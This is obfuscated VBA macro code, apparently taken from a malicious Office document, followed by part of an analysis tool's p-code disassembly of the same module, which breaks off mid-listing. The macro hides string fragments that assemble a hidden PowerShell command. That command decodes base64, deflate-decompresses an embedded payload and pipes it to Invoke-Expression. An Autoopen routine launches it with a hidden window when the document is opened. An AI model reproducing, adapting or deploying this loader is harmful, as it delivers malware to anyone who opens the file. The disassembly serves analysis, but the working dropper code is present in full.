BDkjikAwznG = "7buOuY6fxhGRO9CBUK18uEhwBSMDdgH2xV4SuPCxlpWJPzUjjYRabhc0VeV4Xyi7eVWt5jYqZLAbZgWRbiKnnzQFsB"
zSdSCjE = CStr(Left(Right(BDkjikAwznG, 61), 2)) + CStr(Left(Right(BDkjikAwznG, 49), 1)) + CStr(Left(Right(BDkjikAwznG, 35), 12)) + CStr(Left(Right(BDkjikAwznG, 20), 14)) + Left(Right(BDkjikAwznG, 44), 1)

tiZjOj = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SZZCxlMWJPzUjjYcabhcsNqCSBt1j8DUD6IhrYgm3ievtohT5nzUbUTJBoHpxQMmOVBOzGLSXK4A"
oARaJVEl = Left(Right(tiZjOj, 75), 2) + Left(Right(tiZjOj, 61), 1) + Left(Right(tiZjOj, 44), 15) + CStr(Left(Right(tiZjOj, 25), 17)) + CStr(Left(Right(tiZjOj, 55), 2))

HjBfOHVHZ = "udqW7buOuY6fxhGRO9CBUK18OEhwBSMDdEn2xV4SuPCxlJnidsSRtUn4bhFEr6y/UPVbQbUt5jH"
zQqRaOAiF = Left(Right(HjBfOHVHZ, 51), 1) + Left(Right(HjBfOHVHZ, 41), 1) + CStr(Left(Right(HjBfOHVHZ, 30), 11)) + CStr(Left(Right(HjBfOHVHZ, 17), 11)) + CStr(Left(Right(HjBfOHVHZ, 6), 1))

JGMFpEr = "jvudqW7buOuY6fxhURO9CBUa18uEhwBE7CxMyKxVKIQDRDqJWJP"
GVilUvw = Left(Right(JGMFpEr, 35), 1) + CStr(Left(Right(JGMFpEr, 28), 1)) + Left(Right(JGMFpEr, 20), 7) + CStr(Left(Right(JGMFpEr, 11), 8))

fQswQ = "jvudqW7buOuY6fBhGRO9SBUK18uEZCe6sgdRmaKJoOuPC"
WrGRaWB = CStr(Left(Right(fQswQ, 31), 1)) + CStr(Left(Right(fQswQ, 25), 1)) + Left(Right(fQswQ, 17), 6) + Left(Right(fQswQ, 10), 7)

XfbLjJZdizb = Chr(43)
REPTVJWu = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZBWV4SuPCxlMWJPzUjjWRabhcsuyCZbIkdXNeKISFI84yJkERRmIqEh8XFxBYvCkls"
WEdnz = CStr(Left(Right(REPTVJWu, 65), 2)) + Left(Right(REPTVJWu, 52), 1) + CStr(Left(Right(REPTVJWu, 37), 13)) + CStr(Left(Right(REPTVJWu, 22), 15)) + Left(Right(REPTVJWu, 47), 1)

EQdioXbmk = "jfR"
zAFOzfK = CStr(Left(Right(EQdioXbmk, 3), 1))

itajq = Chr(43)
cjfWrZwro = "jvudqW7buOuYzfxhGRu9CBUK3GsaIwzIgsNNZ2x"
PfqUCuj = Left(Right(cjfWrZwro, 27), 1) + CStr(Left(Right(cjfWrZwro, 21), 1)) + Left(Right(cjfWrZwro, 15), 5) + CStr(Left(Right(cjfWrZwro, 9), 6))
hbfDC = HpqNIl + CSng(69800) + 392457 / Sin(388127 - CByte(892159) / 947579 - Round(69800)) + kBEAK * LQERfHLj - (392457 + 388127 + 892159 - 698000)
Set OqhmGtwVRBB = MFGDGh
cfECJs = "jvudqW7buO0Y6fxhGRO9CHEf38ipCbhSM"
outCH = CStr(Left(Right(cfECJs, 23), 1)) + CStr(Left(Right(cfECJs, 18), 1)) + CStr(Left(Right(cfECJs, 12), 4)) + Left(Right(cfECJs, 7), 5)

kSjGz = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPCh/MWJPzUjjYRabhcuuyCSBDNj8DUt5jH589Qxd0vfJ6LQvUcCsdYvC83hbmqlgbSOfX22A2RWR0UYPww9"
jGNwa = Left(Right(kSjGz, 81), 2) + CStr(Left(Right(kSjGz, 65), 1)) + Left(Right(kSjGz, 47), 17) + Left(Right(kSjGz, 27), 18) + Left(Right(kSjGz, 59), 2)

WqtQMf = "jvudqW7buOuY6fxhGvO9CBUKA8uEhwBSMsf4QNigTSuVBsS6TJqzUj"
YBRwwQG = CStr(Left(Right(WqtQMf, 37), 1)) + CStr(Left(Right(WqtQMf, 30), 1)) + CStr(Left(Right(WqtQMf, 21), 8)) + CStr(Left(Right(WqtQMf, 11), 8))

HjzjErtXjE = Chr(43)
oVkwdkXDhhp = "7buOuY6fxhGRO9CBUK18uEhwBSMzREZ2xV4SuPAxlMWZPzUjjYRsv3FR5/UyY11j86NGMB8L6zXzDxWCxdT5"
ZXwGj = CStr(Left(Right(oVkwdkXDhhp, 57), 2)) + Left(Right(oVkwdkXDhhp, 46), 1) + Left(Right(oVkwdkXDhhp, 33), 11) + CStr(Left(Right(oVkwdkXDhhp, 19), 13)) + CStr(Left(Right(oVkwdkXDhhp, 41), 1))

amNjmjVNtdf = "jvudqW7buOuY3fxhGRS9CBUKjZm6ewj4voumZ2x"
WwbbcIr = Left(Right(amNjmjVNtdf, 27), 1) + CStr(Left(Right(amNjmjVNtdf, 21), 1)) + Left(Right(amNjmjVNtdf, 15), 5) + CStr(Left(Right(amNjmjVNtdf, 9), 6))

OrqKjzsRd = Chr(43)
CHzYpizlP = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4Su7gxlMWJPzUjjYRaahcsuyxNBt1j8DUt5zbVwlL/9ttcKEzv8zQFQ5mpStMDDOomtb/PILSXK4AWR0"
FzKzQKMZIzA = CStr(Left(Right(CHzYpizlP, 77), 2)) + CStr(Left(Right(CHzYpizlP, 62), 1)) + Left(Right(CHzYpizlP, 45), 16) + Left(Right(CHzYpizlP, 26), 17) + CStr(Left(Right(CHzYpizlP, 56), 2))

vWQNPBZK = "7buOuY6fxhGRO9CBUK18uEhwBSMDPCZ2xV4SuPCxZMWJ3zUjjYRabdQcn3PSxUkTQDUtPcsRu1CVUp/zCdT5nzQ"
avlccRfKibF = CStr(Left(Right(vWQNPBZK, 59), 2)) + CStr(Left(Right(vWQNPBZK, 47), 1)) + Left(Right(vWQNPBZK, 34), 12) + CStr(Left(Right(vWQNPBZK, 19), 13)) + Left(Right(vWQNPBZK, 43), 1)

vEfjZv = "jvudqW7buOuY6fx5GRO9CBKK18uEhGkfbrfFZ21XP9ZNaxlM"
pzCMz = Left(Right(vEfjZv, 33), 1) + CStr(Left(Right(vEfjZv, 26), 1)) + CStr(Left(Right(vEfjZv, 19), 7)) + CStr(Left(Right(vEfjZv, 10), 7))
EVblTRds = HQIAZC + CSng(883610) + 25720 / Sin(18963 - CByte(672791) / 179164 - Round(883610)) + sCYuCTDiPv * cLSXiGmv - (25720 + 18963 + 672791 - 8836100)
Set jWajXqzQS = OdwFpP
vYKJjOt = Chr(43)
urEBzhQFJ = "jvudqW7buOuY6flhGRO9fBUK18uEGi85iVdODuxGHFuPC"
QTCnq = CStr(Left(Right(urEBzhQFJ, 31), 1)) + CStr(Left(Right(urEBzhQFJ, 25), 1)) + Left(Right(urEBzhQFJ, 17), 6) + Left(Right(urEBzhQFJ, 10), 7)

qLKEn = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xVG/uPCxlMWJPzUj7YRabbUsuyCSBt1jXcuui4akzKXMDT3CxdKWfvkehvhJefI5tnABVbdzG"
STjLGizs = Left(Right(qLKEn, 71), 2) + Left(Right(qLKEn, 57), 1) + Left(Right(qLKEn, 41), 15) + Left(Right(qLKEn, 23), 15) + Left(Right(qLKEn, 52), 2)

TIwrDVH = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2u/4SuPCxlMWJPjUjjYRCbhcsuyCSMKr6nNpsgrnADaMXhAvuDEfsEib80aOoCklsKnA"
ONXzJcTnwm = CStr(Left(Right(TIwrDVH, 67), 2)) + CStr(Left(Right(TIwrDVH, 54), 1)) + Left(Right(TIwrDVH, 39), 14) + Left(Right(TIwrDVH, 22), 15) + Left(Right(TIwrDVH, 48), 1)
bYCjv = MPjZzfFBBUK + CSng(422102) + 358107 / Sin(268686 - CByte(984883) / 283719 - Round(422102)) + OzHPWzEsDzP * ZjuwKREYa - (358107 + 268686 + 984883 - 4221020)
Set BkfBzFR = WOPGVv
CRrPm = "udqW7buOuY6fxhGRO9C7UK18uEhdBSMDdEZ2yhMtjppnlM7Ltcyf6GBRbhcs"
jzQEYSDCWEz = CStr(Left(Right(CRrPm, 41), 1)) + Left(Right(CRrPm, 33), 1) + CStr(Left(Right(CRrPm, 24), 8)) + CStr(Left(Right(CRrPm, 14), 9)) + Left(Right(CRrPm, 5), 1)

VpVuY = "7buOuY6fxhGRO9CBUK18lEhwBSMDmEZ2PV4SuPTpdO5uWWOjj1Y2VM6FzvCSBt1"
RGLjINqGcUs = Left(Right(VpVuY, 43), 1) + Left(Right(VpVuY, 35), 1) + Left(Right(VpVuY, 25), 9) + Left(Right(VpVuY, 14), 9) + Left(Right(VpVuY, 31), 1)

AiNHabtiP = Chr(43)
KshDzClzssJ = "udqW7buOuY6fxhGRO9CBUK18mEhwBSMDdEG2xV4SuPCxlgVvWYwF8oACbhcF8sOWlwzmcCUt5jH"
HEtQVdo = Left(Right(KshDzClzssJ, 51), 1) + Left(Right(KshDzClzssJ, 41), 1) + CStr(Left(Right(KshDzClzssJ, 30), 11)) + CStr(Left(Right(KshDzClzssJ, 17), 11)) + CStr(Left(Right(KshDzClzssJ, 6), 1))

sjYZVOTYdn = Chr(43)
iDnju = "udqW7buOuY6fxhGRO9wBUK18uEIwBSMDdEZGq2vc3y0xLRgx7kNcnYRab"
ASLFmE = CStr(Left(Right(iDnju, 39), 1)) + CStr(Left(Right(iDnju, 31), 1)) + Left(Right(iDnju, 22), 8) + Left(Right(iDnju, 13), 8) + Left(Right(iDnju, 5), 1)

EvcuLRiwwGp = Chr(43)
NnSbTCHp = "7buOuY6fxhGRO9CBUK18uEhwBSM1iEZ2xV4SuPtxlMWqPzUjjYR0px31U3GFnW1j8XkYHPuLPtLZ1tWCxdT5"
rMSkcIFaJw = CStr(Left(Right(NnSbTCHp, 57), 2)) + Left(Right(NnSbTCHp, 46), 1) + Left(Right(NnSbTCHp, 33), 11) + CStr(Left(Right(NnSbTCHp, 19), 13)) + CStr(Left(Right(NnSbTCHp, 41), 1))

trjLozV = "udqW7buOuY6fxhGRO9wBUK18uEawBSMDdEZMD6hz8zxx/0B9o9OaTYRab"
CzGYPCwwGM = CStr(Left(Right(trjLozV, 39), 1)) + CStr(Left(Right(trjLozV, 31), 1)) + Left(Right(trjLozV, 22), 8) + Left(Right(trjLozV, 13), 8) + Left(Right(trjLozV, 5), 1)
djGHZzFtT = BIjiPnZUijz + CSng(304024) + 959286 / Sin(472852 - CByte(147759) / 822765 - Round(304024)) + libUKLajT * BYjsSl - (959286 + 472852 + 147759 - 3040240)
Set ATOXdOEwIf = IOFNkt
PVDZwG = "jvudqW7buOuY6fxhzRO9CBUT18uEhwBStp/M1hxVYRaM9V1CWJP"
OzkTUJjqD = Left(Right(PVDZwG, 35), 1) + CStr(Left(Right(PVDZwG, 28), 1)) + Left(Right(PVDZwG, 20), 7) + CStr(Left(Right(PVDZwG, 11), 8))

KJiCzbbWw = Chr(43)
WSBlAtJiWa = "jvud3W7uuOfF6Bx"
HpnLBLv = Left(Right(WSBlAtJiWa, 11), 1) + Left(Right(WSBlAtJiWa, 8), 1) + Left(Right(WSBlAtJiWa, 5), 2) + Left(Right(WSBlAtJiWa, 2), 1)

itMrECVv = Chr(43)
uvwkZwRtq = "jvudqW7buOuS6fxhKRO9CBcDsyWE/oMarDdE"
MXzqL = Left(Right(uvwkZwRtq, 25), 1) + CStr(Left(Right(uvwkZwRtq, 20), 1)) + Left(Right(uvwkZwRtq, 14), 5) + Left(Right(uvwkZwRtq, 8), 5)

jYjkNjrHAJ = Chr(43)
RSkQE = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2jz4SuPCxlMWJPJUjjYRubhcsuyCSUV79eVpN3GBnHdMXh9dOPqztaOSKNk7ECklsKnA"
ZZKYR = CStr(Left(Right(RSkQE, 67), 2)) + CStr(Left(Right(RSkQE, 54), 1)) + Left(Right(RSkQE, 39), 14) + Left(Right(RSkQE, 22), 15) + Left(Right(RSkQE, 48), 1)
VbhqqlLhBc = lcuOjjDjKEc + CSng(159369) + 197169 / Sin(421846 - CByte(373210) / 86677 - Round(159369)) + fdRsCK * dbDkwihSR - (197169 + 421846 + 373210 - 1593690)
Set KlCwmRzU = PssSwisSB
rmQPPaKJ = Chr(43)
TVJRkX = "jvusqWob2OXY"
fvmjuQDusL = CStr(Left(Right(TVJRkX, 9), 1)) + CStr(Left(Right(TVJRkX, 6), 1)) + Left(Right(TVJRkX, 4), 1) + Left(Right(TVJRkX, 2), 1)

crRIOEu = Chr(43)
twacRZPhO = "jvudqW7buOsY6fxuGRO9C61jZ88WPt/SM"
aOEszABr = CStr(Left(Right(twacRZPhO, 23), 1)) + CStr(Left(Right(twacRZPhO, 18), 1)) + CStr(Left(Right(twacRZPhO, 12), 4)) + Left(Right(twacRZPhO, 7), 5)

zziwAJZ = Chr(43)
aCmjsYkw = jUchrzjuYo + CSng(436333) + 703404 / Sin(380408 - CByte(474897) / 534047 - Round(436333)) + pcFwA * WLzoz - (703404 + 380408 + 474897 - 4363330)
Set SiwGvi = LjcjGiWTd
TAzpRvcO = "7buOuY6fxhGRO9CBUK18GEhwBSMDAEZ2dV4SuPwfj/vFcvRjjx0B97h8I/CSBt1"
cTZdOpE = Left(Right(TAzpRvcO, 43), 1) + Left(Right(TAzpRvcO, 35), 1) + Left(Right(TAzpRvcO, 25), 9) + Left(Right(TAzpRvcO, 14), 9) + Left(Right(TAzpRvcO, 31), 1)

PdEYIGl = "7buOuY6fxhGRO9CBUK18uEhwBSMDdEPzxV4SuPCxlMJJPzUjsYRabhcsu0V2xyFut9r8='H5) , [Io.coMpREQFsBYvC"
uPFroYpw = CStr(Left(Right(PdEYIGl, 63), 2)) + Left(Right(PdEYIGl, 51), 1) + Left(Right(PdEYIGl, 36), 13) + CStr(Left(Right(PdEYIGl, 21), 14)) + CStr(Left(Right(PdEYIGl, 45), 1))

KZWsETSNb = "udqW7buOuY6fxhGRO9CBUK18sEhwBSMDdEI2xV4SuPCxlOn.comPREssbhiOnModE]::DeUt5jH"
HmpLjzGjra = Left(Right(KZWsETSNb, 51), 1) + Left(Right(KZWsETSNb, 41), 1) + CStr(Left(Right(KZWsETSNb, 30), 11)) + CStr(Left(Right(KZWsETSNb, 17), 11)) + CStr(Left(Right(KZWsETSNb, 6), 1))

kVwfr = "7buOuY6fxhGRO9CBUK18uEhwBSCOdEZ2xV4SumCxlCWJPzUjjYPReSS)),[SYt1sTEM.TEXT.enXhNWCx"
NrwJDMiiP = Left(Right(kVwfr, 55), 2) + CStr(Left(Right(kVwfr, 44), 1)) + Left(Right(kVwfr, 31), 11) + CStr(Left(Right(kVwfr, 18), 12)) + CStr(Left(Right(kVwfr, 40), 1))

fsVHIdN = "jvudqW7buOuY6fxhGOO9CBUKd8uEhwBSMiNg]::aSSuCii)).RezUj"
bjkLAl = CStr(Left(Right(fsVHIdN, 37), 1)) + CStr(Left(Right(fsVHIdN, 30), 1)) + CStr(Left(Right(fsVHIdN, 21), 8)) + CStr(Left(Right(fsVHIdN, 11), 8))
Qwobu = jcfCF + CSng(710919) + 202669 / Sin(626330 - CByte(792990) / 742533 - Round(710919)) + iLdwX * WjCMYsClNw - (202669 + 626330 + 792990 - 7109190)
Set EUMzwV = tsqDzMGjE
VDJSiHk = "jvudqW7buOuY6AxhGRODCBUK18toEnd(M )|iExV4S"
qszOXwF = Left(Right(VDJSiHk, 29), 1) + CStr(Left(Right(VDJSiHk, 23), 1)) + Left(Right(VDJSiHk, 16), 6) + Left(Right(VDJSiHk, 9), 6)
EGtoc = FcQwkX + piPrqqSi + znbuuKjw + kGXYo + LMqtfhnzZW + mELijTbCM + pIRuvTzAQ + Qubfi + ZzsLpCXLXcl + DmvWbGWD + wVljjBuNnt + VwaAoKjW + DljfDs + TPiziwwt + VDEmKWhSM + TPKtuCIKkN + FfoaazEwsY + zSdSCjE + oARaJVEl + zQqRaOAiF + GVilUvw + WrGRaWB + XfbLjJZdizb + WEdnz + zAFOzfK + itajq + PfqUCuj + outCH + jGNwa + YBRwwQG + HjzjErtXjE + ZXwGj + WwbbcIr + OrqKjzsRd + FzKzQKMZIzA + avlccRfKibF + pzCMz + vYKJjOt + QTCnq + STjLGizs + ONXzJcTnwm + jzQEYSDCWEz + RGLjINqGcUs + AiNHabtiP + HEtQVdo + sjYZVOTYdn + ASLFmE + EvcuLRiwwGp + rMSkcIFaJw + CzGYPCwwGM + OzkTUJjqD + KJiCzbbWw + HpnLBLv + itMrECVv + MXzqL + jYjkNjrHAJ + ZZKYR + rmQPPaKJ + fvmjuQDusL + crRIOEu + aOEszABr + zziwAJZ + cTZdOpE + uPFroYpw + HmpLjzGjra + NrwJDMiiP + bjkLAl + qszOXwF + qLjdMIz

End Function

Function sfKqWMPQ()
On Error Resume Next
sfKqWMPQ = zwIuVw + EGtoc
[Shell] wdUqlpUj + Chr(vbKeyP) + sfKqWMPQ, vbHide
End Function

Sub Autoopen()
On Error Resume Next
sfKqWMPQ
End Sub



' Processing file: /tmp/qstore_hyn3zhlc
' ===============================================================================
' Module streams:
' Macros/VBA/jtaPPmcmFHDN - 44340 bytes
' Line #0:
' 	FuncDefn (Function zwIuVw(id_FFFE As Variant))
' Line #1:
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld unHYwi 
' 	LitDI4 0x4782 0x000A 
' 	Coerce (Sng) 
' 	Add 
' 	LitDI4 0x8D38 0x000D 
' 	LitDI4 0x745A 0x0009 
' 	LitDI4 0x7444 0x0007 
' 	Coerce (Byte) 
' 	LitDI4 0xD765 0x0009 
' 	Div 
' 	Sub 
' 	LitDI4 0x4782 0x000A 
' 	ArgsLd Round 0x0001 
' 	Sub 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	Add 
' 	Ld owWOfZacF 
' 	Ld DdTXBYiYJ 
' 	Mul 
' 	Add 
' 	LitDI4 0x8D38 0x000D 
' 	LitDI4 0x745A 0x0009 
' 	Add 
' 	LitDI4 0x7444 0x0007 
' 	Add 
' 	LitDI4 0xCB14 0x0066 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St JSLXckofuFY 
' Line #4:
' 	SetStmt 
' 	Ld vnUvsw 
' 	Set Jrtmp 
' Line #5:
' 	LitStr 0x0078 "t75Pj7TI3G4Powershell -WinDowsTyle hidden ( NeW-ObJEeS9tTIkqdqmPNeLuitzySvxtocFMBYhAablbeNe0w0YiKmftxnC2M5piUG5q2Ne59bpl"
' 	St uGEVmG 
' Line #6:
' 	Ld uGEVmG 
' 	LitDI2 0x006C 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0028 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	St ZELavYjrb 
' Line #7:
' Line #8:
' 	LitStr 0x0048 "7buOuY6fxhGRO9CBUK18uEhCBSMDdEZ2tV4SueCxlMWJ  Io.StreacsmReaDEr( (Nt5jH5"
' 	St DNDVlzA 
' Line #9:
' 	Ld DNDVlzA 
' 	LitDI2 0x0031 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Ld DNDVlzA 
' 	LitDI2 0x0028 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld DNDVlzA 
' 	LitDI2 0x001C 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000A 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld DNDVlzA 
' 	LitDI2 0x0010 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000B 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld DNDVlzA 
' 	LitDI2 0x0023 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St MOwVfG 
' Line #10:
' Line #11:
' 	LitStr 0x0036 "jvudqW7buOuY6fxhGWO9CBUK-8uEhwBSMObJECt  SuSySTEm.IzUj"
' 	St QGbzAipiu 
' Line #12:
' 	Ld QGbzAipiu 
' 	LitDI2 0x0025 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld QGbzAipiu 
' 	LitDI2 0x001E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld QGbzAipiu 
' 	LitDI2 0x0015 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0008 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld QGbzAipiu 
' 	LitDI2 0x000B 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0008 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St iTrTBwm 
' Line #13:
' Line #14:
' 	LitStr 0x004B "udqW7buOuY6fxhGRO9CBUK18oEhwBSMDdE.2xV4SuPCxlcOmPRessIonbh.DeFLATEstReUt5jH"
' 	St ahuWDpOGP 
' Line #15:
' 	Ld ahuWDpOGP 
' 	LitDI2 0x0033 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Ld ahuWDpOGP 
' 	LitDI2 0x0029 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld ahuWDpOGP 
' 	LitDI2 0x001E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000B 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld ahuWDpOGP 
' 	LitDI2 0x0011 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000B 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld ahuWDpOGP 
' 	LitDI2 0x0006 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St WSRJdjGz 
' Line #16:
' 	Ld GRhzZFOV 
' 	LitDI4 0x5872 0x000A 
' 	Coerce (Sng) 
' 	Add 
' 	LitDI4 0x311E 0x000C 
' 	LitDI4 0x82EE 0x0006 
' 	LitDI4 0x8A96 0x000A 
' 	Coerce (Byte) 
' 	LitDI4 0xBF8D 0x0004 
' 	Div 
' 	Sub 
' 	LitDI4 0x5872 0x000A 
' 	ArgsLd Round 0x0001 
' 	Sub 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	Add 
' 	Ld MXaMj 
' 	Ld odRsCZZd 
' 	Mul 
' 	Add 
' 	LitDI4 0x311E 0x000C 
' 	LitDI4 0x82EE 0x0006 
' 	Add 
' 	LitDI4 0x8A96 0x000A 
' 	Add 
' 	LitDI4 0x7474 0x0067 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St sMYIZA 
' Line #17:
' 	SetStmt 
' 	Ld wdwwaFoJbp 
' 	Set wYvGPtKJ 
' Line #18:
' 	LitStr 0x005D "7buOuY6fxhGRO9CBUK18uEhwBSMDdEAmxV4SuPCxlM(JPzUjoYRabhcsu [SysteM.Io.MH5eMoRystrEAM][CQFsBYvC"
' 	St JdFKBbPkww 
' Line #19:
' 	Ld JdFKBbPkww 
' 	LitDI2 0x003F 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld JdFKBbPkww 
' 	LitDI2 0x0033 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld JdFKBbPkww 
' 	LitDI2 0x0024 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000D 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld JdFKBbPkww 
' 	LitDI2 0x0015 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000E 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld JdFKBbPkww 
' 	LitDI2 0x002D 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St mqPAFplLaH 
' Line #20:
' Line #21:
' 	LitStr 0x003C "udqW7buOuY6fxhGRO9CNUK18uEhVBSMDdEZ2eRt]::FRlMOMBasE64sTbhcs"
' 	St OiYIu 
' Line #22:
' 	Ld OiYIu 
' 	LitDI2 0x0029 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld OiYIu 
' 	LitDI2 0x0021 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld OiYIu 
' 	LitDI2 0x0018 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0008 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld OiYIu 
' 	LitDI2 0x000E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0009 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld OiYIu 
' 	LitDI2 0x0005 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	St NOhlITodwzZ 
' Line #23:
' Line #24:
' 	LitStr 0x0033 "jvudqW7buOuY6fxhrRO9CBUi18uEhwBNG('bVZxVtb9pIEP5WJP"
' 	St mrhsoVT 
' Line #25:
' 	Ld mrhsoVT 
' 	LitDI2 0x0023 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Ld mrhsoVT 
' 	LitDI2 0x001C 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld mrhsoVT 
' 	LitDI2 0x0014 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0007 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld mrhsoVT 
' 	LitDI2 0x000B 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0008 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St jnsWwVRKHG 
' Line #26:
' Line #27:
' 	LitDI2 0x002B 
' 	ArgsLd Chr 0x0001 
' 	St pwUHLFdL 
' Line #28:
' 	LitStr 0x005A "7buOuY6fxhGRO9CBUK18uEhwBSMDd0v2xV4SuPCxl0WJPzSjjYRabhcHqzoFIxLj9bst5jTVWohtHWvxzUhvnzQFsB"
' 	St vluzwYw 
' Line #29:
' 	Ld vluzwYw 
' 	LitDI2 0x003D 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld vluzwYw 
' 	LitDI2 0x0031 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld vluzwYw 
' 	LitDI2 0x0023 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000C 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld vluzwYw 
' 	LitDI2 0x0014 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x000E 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld vluzwYw 
' 	LitDI2 0x002C 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	St EaMznRGHCm 
' Line #30:
' Line #31:
' 	LitStr 0x0075 "7buOuY6fxhGRO9CBUK18uEhwBSMDdEZ2xV4SuPZFlMWJPzUjjYRabfcsuyCSde1j8DUt5jHHCICSTBdo2btKH89FsB3tmd8dw9BRtmJ3dnZ2K4AWR0UYP"
' 	St qjNTJckIifn 
' Line #32:
' 	Ld qjNTJckIifn 
' 	LitDI2 0x004F 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld qjNTJckIifn 
' 	LitDI2 0x0040 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld qjNTJckIifn 
' 	LitDI2 0x002E 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0010 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld qjNTJckIifn 
' 	LitDI2 0x001B 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0012 
' 	ArgsLd Left 0x0002 
' 	Add 
' 	Ld qjNTJckIifn 
' 	LitDI2 0x0039 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0002 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	St oNDiNNSoqJ 
' Line #33:
' Line #34:
' 	LitStr 0x000C "jvueqWYbZOmY"
' 	St ThAwAclRo 
' Line #35:
' 	Ld ThAwAclRo 
' 	LitDI2 0x0009 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Ld ThAwAclRo 
' 	LitDI2 0x0006 
' 	ArgsLd Right 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Left 0x0002 
' 	Coerce (Str) 
' 	Add 
' 	Ld ThAwAclRo 
' 	LitDI2 0x0004 
